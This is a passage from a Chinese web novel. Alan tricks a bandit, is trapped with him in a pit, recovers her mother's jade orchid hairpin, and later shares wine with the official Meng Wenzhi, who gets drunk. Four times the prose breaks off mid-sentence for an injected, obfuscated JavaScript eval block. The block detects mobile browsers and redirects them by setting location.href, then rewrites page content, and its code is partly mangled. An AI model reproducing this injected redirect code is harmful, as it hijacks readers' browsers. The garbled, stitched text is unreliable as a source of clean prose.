“一把铁锁你还想徒手打开？钥匙在哪？”山匪没了耐心，敲敲木板催促。 阿兰转过头去，谨小慎微地对他说：“钥匙在车夫身上……” 山匪盯着她，沉默一阵，见她眼里闪露着些许光点，总觉得不对劲，便先亮出刀来警告：“别跟我耍花招！” 自己被困在车厢里，明显处于劣势，阿兰只能先与他周旋，解释道：“我来时怕路上颠簸，丢失东西，特意嘱咐车夫帮我上了把锁，钥匙自然在他那里。” 山匪听完，果真没再怀疑，将目光转向了那把锁，在想办法打开它。 “你那刀看着厉害，可否先借我用用，让我试试能不能把锁打开。”阿兰趁机对他旁敲侧击。 说的不无道理，山匪想着。如今没有钥匙，用刀开锁也算是个办法，便伸手把刀递了过去。 阿兰刚触到刀柄，正欲握住，山匪却立即又把刀收了回来，怒道：“敢耍我？” 瞧他颇有情绪，保不准要做些出格的事情来，只能先小心防备着，继续好声好气道：“你若不放心，便亲自来吧。” 山匪迟疑一瞬，从她提出的两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15132784|163483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个选择中，选了后者。 车厢空间不大，他把阿兰替换到外面等待，自己拿着刀，闷头朝那铁锁胡乱砍了一气。 人倒是挺好糊弄。 阿兰终于得逞，见他在里面砍得认真，趁机静步远离，听得车厢里传来一声：“你还真在骗我！”转身便跑了起来。 山匪把空柜子门砸上，艰难地钻出车厢，一抬头，发现阿兰已经跑远，自己暗骂了一声，马不停蹄地追过去。 他身手矫捷，想追到人不是难事。 眼看着就要将她捉到，谁知她突然站住了脚。他跑得快，一时停不下，直直撞在阿兰身上，两人一齐栽头滚落下去。 这是不知怎样来的一个大坑，四壁陡峭，坑底还有许多凌乱交错的树枝。 阿兰被摔得头懵，骨架子都要零散，晕晕乎乎地站起来，发现山匪也与她一同跌落在此，而他的刀被远远摔过来，弹到她脚边。 于是毫不犹豫地匆匆把刀捡起，握在手心，刀尖对着山匪的方向。 盯了半晌，只见他趴在那处，仿佛死了一样，于是走进仔细瞧看，这才发现他还活着，并且浑身都在战栗颤抖。 山匪听到她的脚步声，缓缓扭过头来，肩膀僵硬地抵着下巴，害他得一直费力挺着身子，呼吸又深又慢。 阿兰发觉他状态不对，忙问道：“你怎么了？” 山匪脸色苍白，双唇张张合合，却失了声一样说不出话，只能作罢，又把头默默扭回去。 阿兰随他目光走到那侧，这才发现，他的手掌被一跟粗壮的木枝生生刺穿。 木枝上半截满是浓稠的血迹，下半截则深深扎在地里，似乎长了根。山匪痛到极致，无论如何使劲都无法扯动它。 阿兰急忙俯下身子，对他说：“先别动，我来帮你。”随即利落地用刀把它砍断。 山匪的手重获自由，但断掉的木枝仍横插贯穿在掌心，把皮肉撑得紧绷发白。 他先翻了个身，把背重重砸在地上，哼哧哼哧喘了会儿粗气。 阿兰抬头望了望狭窄的天空，这坑洞估计是别人以前布置下的陷阱，坑壁陡峭光滑，并无石头之类凸起的可借力攀爬，短时间内，他们定然出不去。 当务之急，是要先把那山匪性命救下。 她与山匪对视一眼，后者触电般移开目光，又看了看她手里的刀子，心虚地半合上眼睛，心中很是惶恐。 不知他的受害者打算如何处置自己。 阿兰顾不得与他说话，用小刀划了一片自己裙边的布条，然后捞起他的手腕放在自己身前。 山匪又睁开眼，看着阿兰脖子上凝固的一道血痂，不可思议地笑了笑：“你是在救我吗？”话语间没有信任，更多的是调侃。 毕竟抢劫的是他，把她弄伤的是他，要杀她的还是他。 “别说话，省点力气。”阿兰提醒道。她也不知道自己为什么要帮他，只是遵从了内心。 说完，紧接着，没给他一刻准备的时间，直接握住那黏糊糊还有些刺手的树枝，缓缓用力往外拔。 18. 遗物寻回 剧痛真正袭来时，山匪手中的树枝已划向半空。 他嘴唇干燥，面色煞白，额上不知不觉泛出细密的一层汗水，浑身都抖得更厉害了，喉间“嗬嗬”作响，却咬不出一个完整的字。 阿兰怕他呼吸不上，顺手扯下他蒙面的黑布，一张表情极度扭曲的脸露了出来。 山匪吐出的气都在打弯，哪里还有半分刚才跳出来打劫时的神气。 那只手已不成样子，掌中间赫然一个血窟窿，隐约透着其中筋骨，十分可怖。血顺着手掌和腕子往下流着，很快在地上汇成了一滩。 阿兰顿觉头皮发麻，后背发怵，皱着眉强忍下不适，用布条给他包扎。过后便不再管他，先把满手的黏腻蹭在衣角，又把刀捡了回来，带在身上。 她四处打量着，沿着坑壁来回踱步，一心想找到爬出去的法子，却始终没能找到坑壁上可落脚的地方，只好悻悻然在那山匪对角处坐了下来。 就这样一直从天亮呆到天黑，从天黑又呆到天亮，很快，她第三次在坑底看到了空中的太阳。 期间两人各自瑟缩在一角，为了节省体力，都没怎么说话。 但这里没有水源，没有食物，他们的身体不可控制地愈发衰败，撑到今天，已快到极限。 阿兰竭力维持清醒，迷蒙中望向山匪，见他正歪着身子，半闭双眼愣神。 没了蒙面布，才知他容貌跟自己想象得不一样。 瘦脸薄唇，鼻子直挺。长得倒不吓人，先前那双满是凶光的眼睛，此时看着竟形同柳叶，颇有书生气。 山匪缓缓撑开眼皮，聚焦视线后，恰捕捉到阿兰投来的目光，心中疑惑，哑着嗓子问：“怎么了？” “没怎么。”阿兰忙不迭垂下眼眸，不再看他，摇了摇头。 山匪瞧她反应，好像明白了什么，轻轻一笑：“看我不像做这行的？” 阿兰没想到他如此坦率，愣了片刻，本不想再过多回应，但转念又觉得与他说些话转移心情并非坏事，终于还是点了点头。 那山匪想得大约和她想得一样，这会儿话突然格外多了起来。他再次开口，叹气道：“哪有生来就是当强盗的。” 阿兰本在随意听着，突然被勾住了思绪，不禁把心里疑问说了出来：“你从前是读书人？” “你怎么知道？” “你手上有握笔的茧。” 那是她先前帮忙包扎伤口时，无意中看见的。 她话音刚落，山匪就要抬起右手去验证一番，全然忘记掌心的伤，刚有动作，便钻心地疼了起来，五官瞬间拧在了一起，肌肉也跟着抽搐。 阿兰总觉得他呆愣愣不灵光，极有可能是读书读傻了，随口问道：“书读得好好的，怎么干起这种勾当来了？” 听她这问题，山匪一双眼睛黯淡下来，闷声说：“我得用钱。” 阿兰转念一想，他腹中多少该有些墨水，又好端端手脚俱在，忍不住对他说：“怎么不去找点生意做，本本分分赚钱？” 山匪扯了扯嘴角，只怕说出来她也不能理解，便简单说：“还是抢劫来钱快。” “你急用钱？” “嗯，”山匪轻轻应了声，随后沉默一阵，才继续补充，“算是着急。” 两人一问一答，说话都没什么气力，声音如同风中残烛，不知何时熄灭，但为了保持清醒理智，也硬要交谈。 “家里有人要用钱吗？” “不是，我家就我一个人。” 阿兰一怔，哽住喉咙不再出声。 四周陷入了死寂，静得只能听见上头树叶哗哗作响。 过了好久好久，山匪主动开口，问她：“还在吗？” “嗯。”阿兰迟缓地应着，声音微弱，近乎飘渺。 山匪听到她的回应，伸了伸脖子，朝天露出倦乏的笑容：“先别睡。想不想知道我为什么来做强盗？” 阿兰睁开眼，下意识点点头。 山匪把目光转过去，看到她在听，开始缓慢讲述：“我从小没有父母，日子很苦，就靠捡菜场地上的烂菜叶子生活……” 他顿了顿，似乎又一次切身品出了当时的酸涩滋味：“我每天从菜场回去，都要路过一个空房子。直到有一次，我再次路过，那里竟然传出很大的读书声，我走近去看，发现房子里坐满了与我一般大的小孩。” 阿兰渐渐听得入神，忍不住问道：“是学堂吗？” “对，是学堂。”山匪微微颌首。 “我也读过书，”阿兰说，“但我没去过学堂。” 山匪闻言，觉得很不可思议，追问着：“那谁来教你读书？” 阿兰没有立刻作答，脑海中迅速闪过以往回忆，不知该如何告诉他。 她环视四周，忽觉得到了此时还何必要隐瞒身份，于是深吸一口气，坦然说了实话：“我爹是进士，他教我。” 山匪沉默了很久，身子突然往上拔了拔，正视着阿兰，一字一字认真说：“我原本也该是进士。” “怎么回事？” “听我继续讲吧，”山匪仰头，缓缓把故事接下去，“我路过学堂，那阵读书声过后，夫子突然开始教训他的学生。” “我隔着墙偷听，听到他说：‘只有科举才能逆转命运。’” 阿兰点点头，又摇摇头。 “这句话，我记了半辈子。” 山匪叹了口气：“直到今年殿试，我名列三甲……” “一路走来很不容易吧？”阿兰缓缓闭上眼睛，如梦一样问他。 “是啊，”山匪道，“我以为我的命运真的要逆转了。” 阿兰皱了皱眉，牵动薄薄的眼皮跟着一颤：“什么意思？” “有人冒名顶替我。”这一句话说得轻松，却藏着不为人知的万千痛苦。 两人都再次进入了沉默，隔着很远，阿兰听到他不平稳的呼吸，像鸟雀骚动树叶那样，没有规律。 “他们抢了我的功名，把我扔回来。”山匪终于又开口道，话语中满是不甘，“我不服，我需要钱，我要去应天府告状。” 阿兰企图越过他的悲恸，问：“你来山上多久了？” “不到半月。”山匪慢慢收敛情绪，平静道。 “可有劫到什么？” 他点点头：“有些，但都是无关紧要的东西。” 阿兰微睁开眼，不知为何心里觉得酸苦憋闷，积攒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139038|163483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半晌，终于轻轻道了一声：“权贵害人啊。” 山匪听到后，诧然问：“你怎也有这感想？” 已到如此关头，阿兰不介意再向他诉说些实话：“我也没了家人。” “你……”山匪很是意外。 “我爹出身微寒，虽是进士，却受尽权门排挤欺凌，我娘走后，他跟着抑郁病终。” 阿兰停住缓了缓心情，才又道：“我还有个弟弟，比我小上六岁，爹娘去后，我二人相依为命。” 山匪问：“现在呢？你弟弟该在家等你。” 阿兰摇头，小声说：“我弟弟后来也……” 山匪忍不住发出夹杂着愤懑与哀伤的喟叹，心中涌起荒谬共鸣，原来有世上有人和他站在一起…… “你可为他们讨来公道？” “没有。” “如何都讨不来的，”阿兰轻叹，“反倒害得我也入了局。” “什么意思？” 阿兰没再说话。 两人体力都几乎耗尽，渐渐安静下来。 过了会儿，山匪又动了动干裂的嘴唇，艰难开口：“你经这山是要去哪里？” “去青州。” “去青州作何？” “有人偷了我的东西，我要去找她。” 山匪想了一阵，问：“什么东西值得你这样去寻？” “一支簪子。” “什么簪子有这样的份量？” “我娘留给我的。” 山匪表情有些细微变化，腿也动了动，又问：“是何模样的？” “兰花形，玉做的。” 山匪突然睁大了眼，侧身费着劲儿去够自己的包裹，用两只手指勾了过来，翻找半天，终于掏出个细棍状的东西来，拿在手里朝阿兰晃了晃。 “可是这个？” 阿兰闻声望过去，只他手中的东西泛着温润青光，颇为眼熟，定睛细看，上面那朵兰花开得正盛：“是，是！” 她突然又有了力气，强把身体撑起，挪了过去。 山匪将簪子交给她，眼里也带着欣喜，补充道：“上一个劫来的就是它。” 阿兰这才知，原来他在这山上早一步碰到春禾和春宏达，就这么把二人给劫了。 她哑然失笑，一时竟不知自己该不该高兴。 山匪倒是大方，对她说：“你拿着吧。” 眼下身体状况越来越差，谁知道能撑到什么时候，又会不会有人来救自己，总之，身外之物估计是用不到了。 阿兰把簪子握在手心，搓磨半晌，终于感激道：“谢谢。” “没事儿，本身就是你的。” 不知又在这坑洞里熬了多久，头顶突然传来响亮马鸣，打破了下面的沉闷。 阿兰和山匪同时捕捉到这声响，相视眼睛一亮，随即用尽全力扯起喉咙呼救。 只听得马蹄声停，接着，是一阵凌乱的脚步声，伴随着拨踩杂草的簌簌声响。 “少爷，这里有人！” 孟文芝听到呼唤，匆匆走来俯身往下看去。 一眼过后，身子骤然矮了半截——他如何都想不到，阿兰消失几天，竟是栽到了这里。 19. 一叙谢忱 阿兰与山匪被困在陷阱三日，无法脱身，幸亏有孟文芝带人来找寻，这才免落得惨死深山的下场。 那天，山匪身份敏感，获救后倒迸发了人求生的新潜力，一步一软地飞快逃跑了。 阿兰为他打了掩护，孟文芝似有察觉异常，却也并没有真的说什么。 后来阿兰又问他怎么会来到这里，孟文芝没有犹豫，直言说是专程来找她的，让她好一阵惊讶。 过会儿还是找了个借口，告诉她自己之所以找她，是突然酒虫作祟，却发现酒铺关门多日，这才起了怀疑。 总之，无论如何，阿兰都很是感激。 纵先前对他存有惧怕之意，但时至今日每遇困境，都有他挺身而出。若再对他躲躲闪闪刻意疏远，恐伤人心，自己这里也难过意得去。 就算被他发现什么端倪，就算被他亲手捉去，就算真的他要降罪下来，有他恩情存在，她也不该多说什么。 阿兰释然想着，该好好答谢他一番。便按他说的，准备再专请他来喝酒。 待身体终于康健了些，她备了酒水，写一张纸条轻系在他门环上，又特意摘了片叶子掩着，怕旁的人瞧见。 孟文芝忙完一天事务后，暮色已然落下。入门时衣角蹭到铜环，一片树叶悄然飘落，吸引了他的目光。 低头看去，发现门环上竟缠着细细一条宣纸。 他小心取下，展开，见笔迹十分眼熟，上面写着： 昔日蒙恩，薄酒已备，只待与大人一叙谢忱。 字字跃入他眼底，激起一圈又一圈的涟漪。 终于回过神后，孟文芝转头对清岳说：“你先回去，我还有事。” 事情不是都已办完了吗，怎么刚到家门又要忙起来……清岳暗自琢磨着，虽想不明白，但还是点头应下：“好。” 清岳推开门跨步进去，正准备回身关门，忽发现少爷这会儿也要进来。 “少爷怎么没走？”清岳好奇地问。 他顿住脚步，思索片刻，而后神色坦然对他说：“我得换身衣服。” 原来不是公务上的事。清岳看着少爷身上的官服，心中瞬间明了了。 孟文芝再出来时，穿得是一身茶白色长袍，上面遍布莲花暗纹，光一照拂，便升起辉来。 腰间束了一根串了东陵石的红绳带，两头金丝密密缝裹，正与那锦袍相映衬。 这衣服本十分素简，没有过多配饰，但行动中又隐约闪着莲纹的流光，再往上看那张如冠玉般的脸孔，只衬得他身上衣料全成了金子银子，很是璀璨耀眼。 “我就说，这身衣服少爷穿最是潇洒，您总不听。” 清岳凭空冒出来似的，孟文芝刚走到庭院，冷不丁听这一声，恍然觉得自己像被捉了现行的贼，越发别扭。 他除去官服，一向只穿深色衣物，显得人更威严肃穆，能省去许多麻烦来。 如今想想，平日里穿得那般凶神恶煞做什么，倒叫人害怕。 兴起，便翻来这唯一一件素净白衣，刚穿上时浑身都不自在，对镜一看，更觉陌生得仿佛换了个人。 不过好像还看得过去…… “走了。”孟文芝点了灯，欲离去时先招呼了清岳。 清岳探头问：“少爷，路上黑，要不我陪您去吧？” “你早些睡。”孟文芝委婉回绝，合上门，自己走了。 路上，一盏黄灯，一袭白衣。 无论走到哪里，光照亮一半黄，映在衣服上，衣服再照亮一半白。 顿时觉得自己身上好似那日月同辉的奇景，比哪个的光芒都要更甚，实在是夸张得紧。 他何时这样百般纠结过，就这么胡思着，终于走到阿兰的酒铺，目光看过去，头脑瞬间清净许多。 幸好，那里还亮着灯。 ………… 阿兰其实并没指望他能当日便应邀前来，想他得空过来就好。她独自坐到现在，早已知道望不到客人，正准备去关门，门外黢黑的石板路上竟蓦地多了一抹光亮，缓缓而来。 那人提着灯盏，似乎穿一身素衣，却映得浑身金光流转，好不神奇。 待他走近了，阿兰刚看清他的面孔，手不自觉地扶上了门板，一时间不知如何先对他开口。 孟文芝见阿兰站在门口不动弹，便也随她停驻此，低头问道：“可方便进去？” “方便，孟大人请。”阿兰这次很快反应过来，恢复了常态，将孟文芝领进来，抽出一条椅子让他就座。 自己犹豫了一会，转身去把大门轻轻掩上。 孟文芝立即问：“作何掩门？” 阿兰想他身为官员，一言一行都备受瞩目，现在时已晚，若被人瞧见也不知会不会传出什么闲话来，还是谨慎些吧。 但她心中所想又不便于与他明说，思索再三，只好委婉寻了个借口：“晚上风大，易着凉。” 孟文芝听后微微一怔，笑了笑，望她略显单薄的身形，只怪是自己思虑不周，难得拘谨起来。 他双手浅握着拳，搭在桌上，四下看了看，见一个客人也没有，坐得也有些不自在。 为难半天，终于开口：“晚上正该是生意好的时候，怎么除去你我，一个人都没有？”不会是专为他一人清了场子……想着，心中不免有些歉意。 阿兰刚从内门出来，用单边肩膀拨开杏花帘子，一臂夹着酒坛，一手端着酒碗：“说来惭愧，我这儿生意一向如此，从未有好的时候。” 原来是他暗自多情了。霎时间，孟文芝面上难色微露。 阿兰瞧他表情不对，觉得自己说错了话，不好意思地补充一句：“孟大人不要嫌弃才好。” 孟文芝沉眸点头，起身帮忙把酒坛接了过来，放在桌上。 他对喝酒并无兴趣，倒不急着开坛，眼睛扫了一遍桌面，总觉得少了点东西， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139039|163483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想了想才明白过来，问道：“怎么就一个碗？” 阿兰对他道：“我酒量不好。” 说到底，也是她专程做答谢才请人来喝酒，又怎好只让他一个人喝？ 意识到自己又扫了兴，也无法再把吐出的话咽回去，只好急忙说：“我这就再去拿一个来。” 孟文芝并非要为难她的意思，紧接着她的话道：“泡些茶水喝吧。” 确也不失为一个主意。 只是阿兰平日里都喝白水，她一心想好好招待，看着手中那些陈旧的干叶，免不得皱下了眉头，挑拣半天，最后只把勉强凑了一壶泡好了，端到桌上。 “坐。”孟文芝请她坐在对面。 阿兰兢兢业业地坐下身，提壶倾斜过去，先为他斟了茶水，再给自己也倒上。 看着容器中色泽普通的茶水，顿时懊恼万分，只怪得自己准备不周，很是过意不去。 明明是她要达谢，却呈不上自己的心意。壶中是矮子里面拔高个，普通货色里捡出来的茶叶，再移目看去，旁边那酒坛子里的酒味道如何，她心里更是没底。 阿兰如坐针毡，浑身僵硬起来。 再一抬眼，见孟文芝端起那比半张脸都大的酒碗，镇定地饮啜了一口，忽地忍不住站起了身。 腰下裙子挨在桌边，悠悠晃了几晃。 “怎么了？”孟文芝手中一顿，碗顶渐渐露出两只眼睛，向上视去。 阿兰这才知自己失态，难为情掩面道：“我该拿茶杯来的。” “不碍事。”孟文芝笑了笑，让她宽心。 在他目光注视下，阿兰如被丝线牵引，缓缓坐回去，虽知道他带着善意而来，但不妨碍自己因他温和妥帖的态度更加惶恐。 无奈中，也只好跟着浅浅一笑：“这茶水勉强您了。” 孟文芝一碗茶渐渐饮完，她仍没找到机会步入正题，几次话到嘴边，都说不出口。两人干巴巴坐在那里，有一句没一句地聊着。 阿兰做足准备，想开始认真与他道谢，先轻声叫他：“孟大人。” 却又觉得有些过于生硬刻意了。 孟文芝闻声抬眸，用目光询问。 阿兰一时慌神，急切切换掉言语，改口道：“不要光喝茶，尝尝这坛酒吧。” 孟文芝移目到酒坛上，迟疑片刻。 阿兰见状，以为他不满意，忙解释着：“这坛叫玉露，是我酿的口味最好的酒了。” “若不喜欢，还有些别的。” “好。”孟文芝终于开口说话，眼睛跟着弯下来。 他看阿兰表情很是为难，想来是自己状态让她生了误会，便先让她安下心来：“我也不擅喝酒，若失了态，还请见谅。” 阿兰还记得他先前雨中酩酊模样，想来或是爱酒之人，只觉得他此番话是故意含蓄。 便不再忧心，打开酒坛，又拿来一对空酒碗，各倒了半碗进去。 20. 玉露三碗 夜幕渐深沉，皎月清辉被橙黄的烛光挡在窗棂之外，屋内灯火幢幢，无人言语，唯有些许陶碗木桌相碰的笃笃声音。 不过多时，碗中酒液静如水镜，两人相对而坐，气氛愈发微妙，尴尬之意开始在周身弥漫。 阿兰见状，不好再将人这么耗着，忙收敛了神色，挺直脊背深吸一口气，双手稳稳端起酒碗，目光坦然对上他的双眸，缓声步入正题：“孟大人，这些时日阿兰承蒙您周全，心中感激不尽，先前言行或有冒失，还望大人担待，切莫放在心上。” 孟文芝从未见过她这副神情，顿觉迥异于往昔，不由得一怔，随后舒颜笑了笑，也将碗轻轻端起，道：“其实，我并非专程来听你这声谢辞。” “你口中的相助，于我而言，不过举手之劳。既居官位，护佑百姓也该是我的责任。” 言罢，他略作停顿，稍展开了胸怀：“但你瞧，我已褪去官袍，此刻这里并无旁人，我想与你抛开那些场面话，聊一聊。” 阿兰本望着他的面容，后者目光刚跃过来，便又忍不住垂下眼来，立即被睫毛挡去了一半的视线。 余光中，她看到对方仍噙着笑意的嘴巴，暗自稳了心神后，才道：“不知大人想聊些什么，阿兰尽力奉陪。” “你该知道我的名字，”孟文芝轻声说着，半句活落，见她迟迟不做反应，放低了声音又问，“对吗？” 孟文芝明知道她聪慧非常，只是性子文静内敛，想必没有她参不透事情，只有她不愿吐露的心思。 本不该强图她开口，却还是忍不住想要一步步引导，让她说出自己想听到的答案。 阿兰怎好继续保持缄默，侧过脸轻点首，应了声：“知道。” 二字甫一出口，孟文芝将大手一伸，两个酒碗便轻轻碰出了响，好像高山上一滴冰露，砸进了深潭之中。 丁当余声中，他目光温和，耐心对她说：“那便直唤我姓名吧。” 话落，四周已恢复了静谧，仿佛世间万物都屏去气息，就在这时，孟文芝却又再次启口：“像朋友一样。” 最后补充的不疾不徐一句话，羽毛似的搔在了她心尖。 孟文芝也许未有察觉，但阿兰心里却比那明镜还要清亮。 她与他，是鹰与鹌鹑，蛇与蟾蜍，是猎手与猎物，如何能说得“朋友”这一词，想着，免不了在心中一阵叹息。 但转念又生出叛逆来。难道鱼儿就不向往岸上的光景，林鸟就该远离人间么？ 她的前半生已被磋磨殆尽，如今畏畏缩缩束手束脚绝非她所愿，她也想在阳光下，畅快地活着。 不如趁此放过自己吧。 思绪流转间，手指触动碗边，顺着边沿滑了半寸。 阿兰舒展了面容，眼睛比琥珀还要透亮，莹莹光泽中绽放出孟文芝的一朵影子。 似乎从她借出那柄白梅油伞后，那些细密雨丝便交织起他们的命运，缘分就再剪不断了。 阿兰将身后仰，把手中酒水一饮而尽，酒液在唇角隐约露出细碎的光芒，胸中顿时轻松许多，释然而笑，呢喃着：“总之，真的很感谢你，孟……文芝。”尾音轻轻上挑，不经意间勾动了听着的心。 孟文芝也不禁化开两边眉目，跟着把酒咽下，放回碗后，霎时间醉意上涌，眼下是两团粉红。 “玉露”不是烈酒，但对不甚酒量的他，依然可以轻易夺走神志。 燥热之感从腹中升腾，到肺腑，到喉咙，最后燥得他哑了声。 见他面上有了迟疑，阿兰尚不知真相，只以为是味道并不适口，转身又轻快地从柜后搬来几坛，放在桌边，供他挑选。 “不用。”酒劲上来的比孟文芝想象得快许多，他行动有些迟钝，摆手的动作要比话语慢上几分，不忘朝玉露夸赞着，“有它已足够，很好喝。” 阿兰一怔，想来未料到手艺竟能得到认可，于是满心欢悦，欲为他再将玉露倒上一碗。 孟文芝见她如此大方，心中既喜且忧，分明倒霉的要是自己，短暂犹豫后，忙抬手抵向正朝他倾斜的坛口，把它轻轻推了回去。 阿兰怀抱酒坛，扬起双眉看向他，眼中有几分不解。 孟文芝头已昏沉，难为情浅浅一笑，找补道：“慢些喝，慢些喝。” 难得能与她有这样不被打扰的时刻，他不想错过说话的机会，自知酒量浅陋，不敢多饮，却着实不忍辜负她的心意，又添两碗下去，周身一切都变得朦胧了。 即便如此，还是强作镇定坐直身子，生怕自己哪一瞬失去控制，唐突了她。 阿兰自知这酒劲儿并不猛烈，有些人喝上足足一坛，依然是面不改色心不跳。但不知为何，眼前人的面庞越发地红，好比丹若花开，嘴巴紧绷着，安静得有些异样。 “你的脸，怎么如此的红？”暗自思忖后，阿兰忍不住问道。 孟文芝听完，下意识皱了眉头，用手背贴到面颊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160776|163483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，属实滚烫，哑着喉咙道：“约是醉了……” “咳。”孟文芝清了清嗓，只觉得吐气都开始混浊，忙起身对她说：“你的心意我都领下，只是酒再喝不得了，我先走了。” 他急煎煎地要离开此处，却一步一步虚浮得如同踩在棉花上，不知哪一脚没走好，忽地歪了身子，“砰”地倒在桌边，把阿兰吓了一跳。 她神色骤变，立即挪开椅子奔过去。 孟文芝侧着头，勉强靠在桌腿上，整张脸涨红滚烫，即使远隔着距离，阿兰也能感受到他散发的迎面热气。 明明自己也是一碗一碗地同样与他喝，他却先倒下了。这才想起最开始他所说的不擅喝酒，原来并非含蓄，全是实话。 见他满脸不适，阿兰懊恼早没注意他的颜色，将人哄成了这副模样。 “不用管我……”半梦半醒时，孟文芝微睁开眼，喃喃道。 总不好让他就这么坐在地上。 想他反正也是醉了，还在乎什么无关紧要的礼节规矩，阿兰捉住他的袖口，试图借此拖起他的胳膊。 谁料，袖口外那只燥热的大手忽然翻转过来，拢住了她的手。 阿兰被这突然的触碰烫到，立即把手抽回来。此时她多少也有些酒意，几番功夫下来，心跳得快了，脸上也泛出一片薄红，幸亏，人还比他清醒点。 “你还在害怕……”孟文芝闭着双眸，不自主地拧眉。 阿兰捺住胸口躁动，想了想，轻声逗他：“我怕你作何？” 他并未睁眼，只与梦中之人对话，面上露出几分苦色，艰难梗了梗脖子：“我凶只对坏人凶，罚也只罚他们……那些人作恶多端，害苦了百姓，我若不发些脾气，如何将人震慑？如何为百姓做主？许多事等不来天理，但只要我能管得了，我一定尽力……这些我问心无愧……许是，许是相貌凌厉了些，吓到你了。” “坏人”阿兰难得没有立即代入自身。该是酒精的功劳。 听他把一番话说得乱糟糟，但又知道他句句真切，不掺有半点假，竟品出委屈的意味来。 顺着他的言语，阿兰细细打量了他的面孔。 此时松懈下来，明明是温润干净的一张脸：墨眉微蹙，眼帘轻闭，长睫颤动着指向玉峰似的鼻梁，再往下，是同双颊一色的酡红的两瓣唇。 这会儿阿兰有了轻浅的醉意，竟变得活泼开朗许多，不禁掩面而笑，悄声道：“你的相貌，吓不到我。” 21. 吐露真言 孟文芝不再应声，覆在膝上的手渐渐放松下来。 阿兰却又探过去，在他手背上轻轻拍了拍，想继续与他聊天，又生怕将其惊扰，只好凑在他耳边，很小声地说：“我会重新变得勇敢。” 这句话，也像是说给自己听的。 话音落下，阿兰主动把自己的手送到他掌下，钻过去，弯下五指与他紧紧相扣。 随后屈膝弯腰，费劲地矮下身子，小心翼翼地将他胳膊绕到自己颈后，一边拽握着他的手，一边单臂环住他的腰，将人艰难支撑了起来，缓慢挪移，终于把他安置在了椅子上。 一会功夫，人就累得浑身疲软，阿兰便也挨着他坐下，还在平复自己急促的呼吸。 身旁孟文芝的身形高她许多，此时人迷迷蒙蒙歪着脑袋，温热的鼻息一下一下轻轻喷在阿兰耳畔，惹得她一阵酥痒，寻着感觉转脸望去，忽见那张凑得极近的面孔，既没做准备，也躲闪不及，两人鼻子就这样蹭在了一起。 阿兰这才惊觉耳旁的热流原是这样来的，双眸倏忽一滞，连带呼吸也跟着停下了。 凡是他气息扑过的地方，此时一并开始发热发烫，不到片刻，身上就沸腾得比水开还要厉害，数不清的气泡从心底上涌，由小变大，越窜越快，挨个在她眼前爆破，激起的水波相互碰撞交融，孟文芝静谧的神色在其中抖动着，碎开，又恢复于好。 空气里已然分不清是谁身上的酒气。 孟文芝突然颤了颤眉头，头跟着就要动起来，下唇边缘不经意掠过她脸上的绒毛，阿兰猛地回到现实，立即起身闪躲。 纵是分离开来，脸上还隐约有着他触碰的感觉。 若是得了这一下，可当真不好解释。吃亏的要是她，该怪的也要是她，谁让她是唯一清醒的那个。 想着，阿兰心跳得越来越快，又毫无规律，顿时觉得屋中闷热得紧，想去窗子边透透气。 刚朝原处走了两步，便被牵制住上身仰了回来。低头一看，怎么两只手还拉在一起，没有松开！ 阿兰瞬间清醒许多，慌了神，却怎么都挣脱不开手，无法离他而去，只好赶忙坐回原处，生怕被人瞧见了似的，把手藏在两人身间，悄悄地去解。 “孟文芝，醒醒。”阿兰见是他暗地里握得紧，急着要将人唤醒。 孟文芝倒并非睡着，只是整个人都混乱得头脑不是自己的，身体也不是自己的了，好像处在另一个世界，与她隔了层层白纱，任她怎叫，都做不出反应。 阿兰一时也想不出更好的主意，去轻拍了他的脸，再次道：“快醒醒。” 这一下，孟文芝眼皮动了动，露出两缝好清亮的眸子，烛光在其中跳动着。 他忽地意识到什么，乍然全睁了双眼，惊慌中先是本能地将手攥紧，须臾，又触电般猛地放开，自己急着往边上坐了坐，要与她保持距离，没想到掌握不住平衡，整个人摇摇欲坠。 幸好阿兰眼疾手快拦住了他。 